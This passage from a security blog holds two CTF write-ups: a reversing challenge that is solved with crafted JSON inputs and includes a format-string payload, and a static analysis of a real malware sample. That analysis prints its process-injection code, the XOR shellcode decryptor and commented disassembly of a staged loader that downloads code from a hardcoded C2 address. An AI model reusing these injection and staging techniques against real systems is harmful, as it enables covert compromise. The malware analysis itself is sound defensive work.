  <span class="n">next_y</span> <span class="o">=</span> <span class="n">y_coord</span><span class="p">;</span>
  <span class="n">next_x</span> <span class="o">=</span> <span class="n">x_coord</span><span class="p">;</span>
  <span class="k">switch</span><span class="p">(</span><span class="o">*</span><span class="n">move_direction</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
    <span class="n">next_y</span> <span class="o">=</span> <span class="n">y_coord</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
    <span class="n">next_y</span> <span class="o">=</span> <span class="n">y_coord</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
    <span class="n">next_x</span> <span class="o">=</span> <span class="n">x_coord</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
    <span class="n">next_x</span> <span class="o">=</span> <span class="n">x_coord</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">uVar2</span> <span class="o">=</span> <span class="n">CONCAT71</span><span class="p">((</span><span class="n">int7</span><span class="p">)((</span><span class="n">ulong</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&amp;</span><span class="n">switchD_00101804</span><span class="o">::</span><span class="n">switchdataD_0010a84c</span> <span class="o">+</span>
                                 <span class="p">(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">switchD_00101804</span><span class="o">::</span><span class="n">switchdataD_0010a84c</span><span class="p">)[</span><span class="n">uVar1</span><span class="p">])</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">),</span>
                   <span class="mi">1</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">((</span><span class="n">next_y</span> <span class="o">&lt;</span> <span class="mh">0x1e</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">next_x</span> <span class="o">&lt;</span> <span class="mh">0x1e</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">mappa</span><span class="p">[(</span><span class="n">ulong</span><span class="p">)</span><span class="n">next_x</span> <span class="o">*</span> <span class="mh">0x1e</span> <span class="o">+</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)</span><span class="n">next_y</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">mappa</span><span class="p">[(</span><span class="n">ulong</span><span class="p">)</span><span class="n">next_x</span> <span class="o">*</span> <span class="mh">0x1e</span> <span class="o">+</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)</span><span class="n">next_y</span> <span class="o">+</span> <span class="mh">0x386</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">mappa</span><span class="p">[(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">x_coord</span> <span class="o">*</span> <span class="mh">0x1e</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">y_coord</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
      <span class="n">player</span><span class="o">-&gt;</span><span class="n">x_coord</span> <span class="o">=</span> <span class="n">next_x</span><span class="p">;</span>
      <span class="n">player</span><span class="o">-&gt;</span><span class="n">y_coord</span> <span class="o">=</span> <span class="n">next_y</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">((</span><span class="n">next_x</span> <span class="o">==</span> <span class="n">mappa</span><span class="p">[</span><span class="mh">0x70a</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">next_y</span> <span class="o">==</span> <span class="n">mappa</span><span class="p">[</span><span class="mh">0x70b</span><span class="p">]))</span> <span class="p">{</span>
        <span class="n">player</span><span class="o">-&gt;</span><span class="n">flag_</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="k">return</span> <span class="n">uVar2</span><span class="p">;</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">uVar2</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This funciton allows the player to move in a direction specified by the <code class="language-plaintext highlighter-rouge">move_direction</code> parameter.</p>

<p>As you can see at the very end of this function <code class="language-plaintext highlighter-rouge">player-&gt;flag_</code> is set to 1 only if the next position of the player is the correct one. Via debugger I found out that the desired position is only one step away, but its coordinates are randomized.</p>

<p>To trigger the win path we need two things:</p>

<ul>
  <li>
    <p>Call this function — this requires providing a <code class="language-plaintext highlighter-rouge">$type</code> string whose hash matches that function’s saved hash (0x527e).</p>
  </li>
  <li>
    <p>Ensure <code class="language-plaintext highlighter-rouge">move_direction</code> is valid; otherwise the function asserts (“dir cannot be none”).</p>
  </li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">move_direction</code> parameter is resolved from a <code class="language-plaintext highlighter-rouge">dir</code> string in the input using the same weak hashing scheme as <code class="language-plaintext highlighter-rouge">$type</code>. Therefore we can craft both a <code class="language-plaintext highlighter-rouge">$type</code> and a <code class="language-plaintext highlighter-rouge">dir</code> string that map to the required hashes.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"on_start"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mzzzzzzzzzzzzzzzzae"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"dir"</span><span class="p">:</span><span class="w"> </span><span class="s2">"fvmmmmaA"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>With this JSON the binary executes the target function, moves the player and sets <code class="language-plaintext highlighter-rouge">player-&gt;flag_ = 1</code> 25% of the times.</p>

<p>Bonus: There was also a format-string vulnerability in the code that could be triggered simply by:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"on_start"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"log_action_t"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"message"</span><span class="p">:</span><span class="w"> </span><span class="s2">"%d"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>]]></content><author><name>Luca</name></author><category term="writeup" /><category term="writeup" /><category term="reverse engineering" /><category term="DefCamp Quals" /><summary type="html"><![CDATA[Short write-ups of 2 challenges]]></summary></entry><entry><title type="html">C2mmunication, CTFZone Quals</title><link href="http://lucapalumbo.xyz/writeup/c2mmunication-CTFZoneQuals/" rel="alternate" type="text/html" title="C2mmunication, CTFZone Quals" /><published>2025-08-21T12:00:00+00:00</published><updated>2025-08-21T12:00:00+00:00</updated><id>http://lucapalumbo.xyz/writeup/c2mmunication-CTFZoneQuals</id><content type="html" xml:base="http://lucapalumbo.xyz/writeup/c2mmunication-CTFZoneQuals/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>The challenge presented us with a password-protected ZIP file. The password was “infected” - a well-known convention in the cybersecurity community used when sharing actual malware samples to prevent accidental execution.</p>

<p>Upon extracting the archive, I found a single file named <code class="language-plaintext highlighter-rouge">prog.exe_</code>. The underscore appended to the file extension is a common safety measure that disables automatic execution when double-clicking the file in Windows environments.</p>

<p>These initial observations strongly suggested that we were dealing with real malware rather than a simulated threat. Given the potentially dangerous nature of the sample and the lack of an isolated virtual machine environment, I made the decision to proceed exclusively with static analysis techniques to avoid any risk of system compromise.</p>

<h1 id="challenge-analysis">Challenge Analysis</h1>

<h2 id="initial-reverse-engineering---main-function-analysis">Initial Reverse Engineering - Main Function Analysis</h2>

<p>Loading the executable into IDA, I quickly identified the main function and began analyzing its behavior. The decompiled code revealed several interesting operations:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">buff_ptr</span><span class="p">;</span> <span class="c1">// r8</span>
    <span class="n">_OWORD</span> <span class="o">*</span><span class="n">v5</span><span class="p">;</span> <span class="c1">// rax</span>
    <span class="n">__int64</span> <span class="n">counter</span><span class="p">;</span> <span class="c1">// rcx</span>
    <span class="c1">// ... variable declarations ...</span>
    
    <span class="kt">char</span> <span class="n">Buffer</span><span class="p">[</span><span class="mi">560</span><span class="p">];</span> <span class="c1">// [rsp+40h] [rbp-248h] BYREF</span>
    <span class="n">buff_ptr</span> <span class="o">=</span> <span class="n">Buffer</span><span class="p">;</span>
    <span class="n">v5</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">bytecode_enc</span><span class="p">;</span>
    <span class="n">counter</span> <span class="o">=</span> <span class="mi">4</span><span class="n">i64</span><span class="p">;</span>
    
    <span class="c1">// Copy encrypted bytecode to local buffer in chunks</span>
    <span class="k">do</span> <span class="p">{</span>
        <span class="n">buff_ptr</span> <span class="o">+=</span> <span class="mi">128</span><span class="p">;</span>
        <span class="c1">// XMM register operations for efficient memory copying</span>
        <span class="c1">// ... chunk copying logic ...</span>
        <span class="o">--</span><span class="n">counter</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="n">counter</span> <span class="p">);</span>
    
    <span class="c1">// Process injection sequence</span>
    <span class="n">pid</span> <span class="o">=</span> <span class="n">unknown_libname_26</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">sub_140001010</span><span class="p">(</span><span class="s">"Injecting to PID: %i"</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
    <span class="n">v18</span> <span class="o">=</span> <span class="n">unknown_libname_26</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">process</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="mh">0x1FFFFFu</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v18</span><span class="p">);</span>
    <span class="n">mem</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">process</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mh">0x228u</span><span class="n">i64</span><span class="p">,</span> <span class="mh">0x3000u</span><span class="p">,</span> <span class="mh">0x40u</span><span class="p">);</span>
    <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">process</span><span class="p">,</span> <span class="n">mem</span><span class="p">,</span> <span class="n">Buffer</span><span class="p">,</span> <span class="mh">0x228u</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">);</span>
    <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">process</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">mem</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">process</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>(variable and function names were changed by me)</p>

<p>The main function performs several key operations:</p>

<ol>
  <li>
    <p><strong>Shellcode Preparation</strong>: It copies bytes from a global variable (<code class="language-plaintext highlighter-rouge">bytecode_enc</code>) into a local buffer, processing the data in chunks using XMM registers for efficient memory operations.</p>
  </li>
  <li>
    <p><strong>Process Targeting</strong>: It opens a target process using the PID specified as a command-line argument.</p>
  </li>
  <li>
    <p><strong>Memory Allocation</strong>: It allocates executable memory space within the target process using <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> with <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code> permissions.</p>
  </li>
  <li>
    <p><strong>Code Injection</strong>: It writes the prepared shellcode buffer into the allocated memory space of the target process.</p>
  </li>
  <li>
    <p><strong>Remote Execution</strong>: It creates a new thread in the target process that executes the injected shellcode.</p>
  </li>
  <li>
    <p><strong>Cleanup</strong>: It closes the process handle.</p>
  </li>
</ol>

<p>This is a classic <strong>process injection</strong> technique commonly used in malware. The purpose of this approach, rather than executing the shellcode directly, is to mask malicious activity. When the injected code runs, any suspicious behavior (high CPU usage, network connections, file system access) will appear to originate from legitimate processes like <code class="language-plaintext highlighter-rouge">notepad.exe</code> or other benign applications, making detection significantly more difficult for both users and security software.</p>

<p>The next step in the analysis was to extract and examine the shellcode stored in the global variable to understand the actual malicious payload.</p>

<h2 id="shellcode-extraction-and-decryption">Shellcode Extraction and Decryption</h2>

<p>With the main function behavior understood, the next step was to extract and analyze the actual shellcode stored in the global variable. Loading the binary data into IDA Pro revealed an interesting structure.</p>

<p>The shellcode began with valid x86-64 assembly instructions, but quickly transitioned into what appeared to be random bytes. Upon closer examination of the initial instructions, I discovered a runtime decryption routine:</p>

<pre><code class="language-assembly">seg000:0000000000000000 loc_0:                                  ; DATA XREF: seg000:000000000000000A↓o
seg000:0000000000000000                 xor     rcx, rcx
seg000:0000000000000003                 sub     rcx, 0FFFFFFFFFFFFFFC0h
seg000:000000000000000A                 lea     rax, loc_0
seg000:0000000000000011                 mov     rbx, 0E64DDC02B7BACB6Fh
seg000:000000000000001B
seg000:000000000000001B loc_1B:                                 ; CODE XREF: seg000:0000000000000025↓j
seg000:000000000000001B                 xor     qword ptr ds:rva loc_27[rax], rbx
seg000:000000000000001F                 sub     rax, 0FFFFFFFFFFFFFFF8h
seg000:0000000000000025                 loop    loc_1B
seg000:0000000000000027
seg000:0000000000000027 loc_27:                                 ; DATA XREF: seg000:loc_1B↑w
seg000:0000000000000027                 xchg    eax, ebx
seg000:0000000000000028                 cmp     dword ptr [rcx], 53h ; 'S'
seg000:000000000000002B                 repne xor al, 81h
seg000:000000000000002B ; ---------------------------------------------------------------------------
seg000:000000000000002E                 db 0E6h
seg000:000000000000002F ; ---------------------------------------------------------------------------
seg000:000000000000002F                 outsd
seg000:0000000000000030                 retf
seg000:0000000000000030 ; ---------------------------------------------------------------------------
seg000:0000000000000031                 db 0FBh
seg000:0000000000000032                 dw 43E6h, 1F8Ch, 39B7h
seg000:0000000000000038                 dq 0FB4C69467658B83h, 4FB4C6941AE53183h, 1D6D05964800B583h
seg000:0000000000000050                 dq 0C3267C94CB86F79Bh, 0AEA76DF000CBDBF7h, 3D0BAF1D03F6B702h
[...]
</code></pre>

<p>The pattern indicated that the shellcode was implementing <strong>runtime decryption</strong> - a common technique used by malware to evade static analysis. The valid instructions at the beginning were responsible for decrypting the remaining encrypted payload using a hardcoded XOR key.</p>

<p>I identified the XOR key: <code class="language-plaintext highlighter-rouge">0E64DDC02B7BACB6Fh</code>. The decryption process started at offset <code class="language-plaintext highlighter-rouge">0x27</code> and continued for the remainder of the shellcode.</p>

<p>To extract and decrypt the payload:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>

<span class="n">content</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"prog.exe_"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
    <span class="n">content</span> <span class="o">=</span> <span class="nb">file</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

<span class="c1"># Locate the shellcode start pattern
</span><span class="n">index</span> <span class="o">=</span> <span class="n">content</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x48\x31\xc9</span><span class="s">'</span><span class="p">)</span>  <span class="c1"># xor rcx, rcx instruction
</span><span class="n">key</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">"e64ddc02b7bacb6f"</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>  <span class="c1"># Reverse byte order for little-endian
</span><span class="n">payload</span> <span class="o">=</span> <span class="n">content</span><span class="p">[</span><span class="n">index</span><span class="p">:</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">512</span><span class="p">]</span>

<span class="k">print</span><span class="p">(</span><span class="s">"payload in hex:"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">payload</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>

<span class="c1"># Save the raw encrypted payload
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'payload.bin'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
    <span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="c1"># Decrypt the payload starting from offset 0x27
</span><span class="n">decoded</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="mh">0x27</span><span class="p">:],</span> <span class="n">key</span><span class="p">)</span>

<span class="c1"># Save the decrypted shellcode
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"decoded.bin"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
    <span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">decoded</span><span class="p">)</span>
</code></pre></div></div>

<p>The script successfully extracted and decrypted the shellcode, providing us with the actual malicious payload for further analysis. The decrypted shellcode could now be loaded into IDA Pro for comprehensive reverse engineering.</p>

<h3 id="decrypted-shellcode-analysis">Decrypted Shellcode Analysis</h3>

<p>Loading the decrypted payload into IDA Pro revealed a sophisticated piece of shellcode. Let’s see the complete disassembly first, then break it down section by section:</p>

<pre><code class="language-assembly">                cld
                and     rsp, 0FFFFFFFFFFFFFFF0h
                call    sub_D6
; ---------------------------------------------------------------------------
                push    r9
                push    r8
                push    rdx
                push    rcx
                push    rsi
                xor     rdx, rdx
                mov     rdx, gs:[rdx+60h]
                mov     rdx, [rdx+18h]
                mov     rdx, [rdx+20h]

loc_21:
                movzx   rcx, word ptr [rdx+4Ah]
                mov     rsi, [rdx+50h]
                xor     r9, r9

loc_2D:
                xor     rax, rax
                lodsb
                cmp     al, 61h
                jl      short loc_37
                sub     al, 20h

loc_37:
                ror     r9d, 0Dh
                add     r9d, eax
                loop    loc_2D
                push    rdx
                mov     rdx, [rdx+20h]
                push    r9
                mov     eax, [rdx+3Ch]
                add     rax, rdx
                cmp     word ptr [rax+18h], 20Bh
                jnz     loc_CB
                mov     eax, [rax+88h]
                test    rax, rax
                jz      short loc_CB
                add     rax, rdx
                mov     r8d, [rax+20h]
                mov     ecx, [rax+18h]
                add     r8, rdx
                push    rax

loc_72:
                jrcxz   loc_CA
                xor     r9, r9
                dec     rcx
                mov     esi, [r8+rcx*4]
                add     rsi, rdx

loc_81:
                xor     rax, rax
                lodsb
                ror     r9d, 0Dh
                add     r9d, eax
                cmp     al, ah
                jnz     short loc_81
                add     r9, [rsp+8]
                cmp     r9d, r10d
                jnz     short loc_72
                pop     rax
                mov     r8d, [rax+24h]
                add     r8, rdx
                mov     cx, [r8+rcx*2]
                mov     r8d, [rax+1Ch]
                add     r8, rdx
                mov     eax, [r8+rcx*4]
                add     rax, rdx
                pop     r8
                pop     r8
                pop     rsi
                pop     rcx
                pop     rdx
                pop     r8
                pop     r9
                pop     r10
                sub     rsp, 20h
                push    r10
                jmp     rax

; ... (continuing with rest of shellcode)
</code></pre>

<h4 id="dynamic-api-resolution">Dynamic API Resolution</h4>

<p>The initial section of the shellcode implements a <strong>dynamic API resolution</strong> mechanism. After the <code class="language-plaintext highlighter-rouge">call sub_D6</code> instruction, which places the return address (0xA) into <code class="language-plaintext highlighter-rouge">rbp</code>, the code beginning at offset 0xA performs the following operations:</p>

<pre><code class="language-assembly">push    r9
push    r8  
push    rdx
push    rcx
push    rsi
xor     rdx, rdx
mov     rdx, gs:[rdx+60h]    ; Access Process Environment Block (PEB)
mov     rdx, [rdx+18h]       ; Access LoaderData  
mov     rdx, [rdx+20h]       ; Access InMemoryOrderModuleList
</code></pre>

<p>This code walks through the <strong>Process Environment Block (PEB)</strong> to enumerate loaded DLLs, then implements a custom hashing algorithm to resolve API functions by hash rather than by name. More details on this routine in the appendix.</p>

<h4 id="main-payload-analysis">Main Payload Analysis</h4>

<p>Now let’s analyze the main payload starting from <code class="language-plaintext highlighter-rouge">sub_D6</code>. This function immediately performs <code class="language-plaintext highlighter-rouge">pop rbp</code>, storing the return address in <code class="language-plaintext highlighter-rouge">rbp</code> - this address points to the dynamic API resolution routine just described (more analysis on this routine later).</p>

<p>The function proceeds with several API calls using the hash-based resolution mechanism. On Windows x64, the calling convention uses <code class="language-plaintext highlighter-rouge">rcx</code>, <code class="language-plaintext highlighter-rouge">rdx</code>, <code class="language-plaintext highlighter-rouge">r8</code>, and <code class="language-plaintext highlighter-rouge">r9</code> as the first four parameters.</p>

<p><strong>First API Call - LoadLibraryA:</strong></p>
<pre><code class="language-assembly">mov     r14, '23_2sw'        ; "ws2_32" string (reversed due to little-endian)
push    r14
mov     r14, rsp             ; R14 now points to "ws2_32" string
mov     rcx, r14             ; First parameter: DLL name
mov     r10d, 726774Ch       ; Hash for LoadLibraryA
call    rbp                  ; Call LoadLibraryA("ws2_32")
</code></pre>

<p><strong>Second API Call - WSAStartup:</strong></p>
<pre><code class="language-assembly">mov     rdx, r13             ; Second parameter: pointer to WSADATA structure
push    101h
pop     rcx                  ; First parameter: Winsock version
mov     r10d, 6B8029h        ; Hash for WSAStartup
call    rbp                  ; Call WSAStartup(0x101, lpWSAData)
</code></pre>

<p><strong>Third API Call - socket:</strong></p>
<pre><code class="language-assembly">push    rax                  ; Save previous return values
push    rax
xor     r9, r9               ; Fourth parameter: 0 (protocol, let system choose)
xor     r8, r8               ; Third parameter: 0 (protocol)
inc     rax
mov     rdx, rax             ; Second parameter: 1 (SOCK_STREAM)
inc     rax  
mov     rcx, rax             ; First parameter: 2 (AF_INET)
mov     r10d, 0E0DF0FEAh     ; Hash for socket
call    rbp                  ; Call socket(AF_INET, SOCK_STREAM, 0)
mov     rdi, rax             ; Store socket descriptor
</code></pre>

<p><strong>Fourth API Call - connect (with retry loop):</strong></p>
<pre><code class="language-assembly">push    10h
pop     r8                   ; Third parameter: sizeof(sockaddr_in) = 16
mov     rdx, r12             ; Second parameter: pointer to sockaddr_in structure
mov     rcx, rdi             ; First parameter: socket descriptor
mov     r10d, 6174A599h      ; Hash for connect
call    rbp                  ; Call connect(socket, sockaddr, 16)
test    eax, eax
jz      short loc_15E        ; If successful (return 0), continue
dec     r14                  ; Decrement retry counter (initially 10)
jnz     short loc_13E        ; If retries left, try again
</code></pre>

<p><strong>Fifth API Call - recv (receive stage size):</strong></p>
<pre><code class="language-assembly">sub     rsp, 10h             ; Allocate 16 bytes on stack for buffer
mov     rdx, rsp             ; Second parameter: buffer pointer
xor     r9, r9               ; Fourth parameter: 0 (no flags)
push    4
pop     r8                   ; Third parameter: 4 bytes to receive
mov     rcx, rdi             ; First parameter: socket descriptor
mov     r10d, 5FC8D902h      ; Hash for recv
call    rbp                  ; Call recv(socket, buffer, 4, 0)
</code></pre>

<p><strong>Sixth API Call - VirtualAlloc:</strong></p>
<pre><code class="language-assembly">pop     rsi                  ; Get the 4-byte size value received
push    40h
pop     r9                   ; Fourth parameter: PAGE_EXECUTE_READWRITE
push    1000h
pop     r8                   ; Third parameter: MEM_COMMIT
mov     rdx, rsi             ; Second parameter: size (from recv)
xor     rcx, rcx             ; First parameter: NULL (let system choose address)
mov     r10d, 0E553A458h     ; Hash for VirtualAlloc
call    rbp                  ; Call VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
</code></pre>

<p><strong>Seventh API Call - recv (receive shellcode):</strong></p>
<pre><code class="language-assembly">xor     r9, r9               ; Fourth parameter: 0 (no flags)
mov     r8, rsi              ; Third parameter: number of bytes to receive
mov     rdx, rbx             ; Second parameter: allocated memory address
mov     rcx, rdi             ; First parameter: socket descriptor
mov     r10d, 5FC8D902h      ; Hash for recv
call    rbp                  ; Call recv(socket, allocated_memory, size, 0)
</code></pre>

<p>The shellcode implements a <strong>stage-1 loader</strong> that:</p>
<ol>
  <li>Establishes a network connection to a remote server</li>
  <li>Receives the size of the next stage payload</li>
  <li>Allocates executable memory for the payload</li>
  <li>Downloads and executes the second-stage payload</li>
</ol>

<p>This is a classic <strong>staged payload</strong> architecture commonly used in penetration testing tools and malware, where the initial payload is kept minimal to reduce detection, and the main functionality is delivered in subsequent stages.</p>

<h3 id="challenge-solution">Challenge Solution</h3>

<p>With the shellcode fully analyzed, the final step was to extract the connection target. Examining the hardcoded <code class="language-plaintext highlighter-rouge">SOCKADDR_IN</code> structure in the payload:</p>

<pre><code class="language-assembly">mov     r12, 515B1312BB010002h  ; SOCKADDR_IN structure bytes
</code></pre>

<p>Breaking down this 64-bit value:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">0002</code> = <code class="language-plaintext highlighter-rouge">AF_INET</code> (address family)</li>
  <li><code class="language-plaintext highlighter-rouge">01BB</code> = port 443 in network byte order (big-endian)</li>
  <li><code class="language-plaintext highlighter-rouge">12135B51</code> = IP address 81.91.19.18 in network byte order</li>
</ul>

<p>The shellcode attempts to connect to <strong>81.91.19.18:443</strong>, which represents the command and control server for this staged payload.</p>

<p><strong>Flag: <code class="language-plaintext highlighter-rouge">81.91.19.18:443</code></strong></p>

<hr />

<h2 id="appendix-hash-based-api-resolution-analysis">Appendix: Hash-Based API Resolution Analysis</h2>

<p>One of the most interesting aspects of this shellcode is its  API resolution mechanism. Instead of importing functions directly, it dynamically resolves Windows API functions using a custom hashing algorithm. This technique is commonly employed by malware to evade static analysis.</p>

<h3 id="the-api-resolution-routine">The API Resolution Routine</h3>

<p>Here’s the complete API resolution routine with detailed comments:</p>

<pre><code class="language-assembly">; Entry point - save registers and initialize
push    r9
push    r8
push    rdx
push    rcx
push    rsi
xor     rdx, rdx
mov     rdx, gs:[rdx+60h]        ; Access Process Environment Block (PEB)
mov     rdx, [rdx+18h]           ; Access PEB_LDR_DATA.LoaderData
mov     rdx, [rdx+20h]           ; Access InMemoryOrderModuleList.Flink

; Main DLL enumeration loop
loc_21:
movzx   rcx, word ptr [rdx+4Ah]  ; Read BaseDllName.MaximumLength from LDR_DATA_TABLE_ENTRY
mov     rsi, [rdx+50h]           ; Read BaseDllName.Buffer pointer
xor     r9, r9                   ; Initialize hash accumulator

; DLL name hashing loop
loc_2D:
xor     rax, rax                 ; Clear RAX
lodsb                            ; Load next character from DLL name, increment RSI
cmp     al, 61h                  ; Compare with 'a' (0x61)
jl      short loc_37             ; If less than 'a', skip uppercase conversion
sub     al, 20h                  ; Convert lowercase to uppercase (subtract 0x20)

loc_37:
ror     r9d, 0Dh                 ; Rotate hash right by 13 bits
add     r9d, eax                 ; Add character to hash
loop    loc_2D                   ; Continue until RCX (string length) reaches 0

; Process DLL's export table
push    rdx                      ; Save current LDR_DATA_TABLE_ENTRY pointer
mov     rdx, [rdx+20h]           ; Access DllBase from LDR_DATA_TABLE_ENTRY
push    r9                       ; Save DLL name hash
mov     eax, [rdx+3Ch]           ; Read IMAGE_DOS_HEADER.e_lfanew
add     rax, rdx                 ; Calculate NT headers address
cmp     word ptr [rax+18h], 20Bh ; Check IMAGE_OPTIONAL_HEADER64.Magic (0x020B)
jnz     loc_CB                   ; Skip if not 64-bit PE
mov     eax, [rax+88h]           ; Read DataDirectory[0].VirtualAddress (export table RVA)
test    rax, rax
jz      short loc_CB             ; Skip if no export table
add     rax, rdx                 ; Calculate export table virtual address
mov     r8d, [rax+20h]           ; Read IMAGE_EXPORT_DIRECTORY.AddressOfNames
mov     ecx, [rax+18h]           ; Read IMAGE_EXPORT_DIRECTORY.NumberOfNames
add     r8, rdx                  ; Calculate AddressOfNames virtual address
push    rax                      ; Save export directory pointer

; Function name enumeration loop
loc_72:
jrcxz   loc_CA                   ; Exit if no more names to check
xor     r9, r9                   ; Reset hash accumulator
dec     rcx                      ; Decrement name counter (use as index)
mov     esi, [r8+rcx*4]          ; Read function name RVA from AddressOfNames array
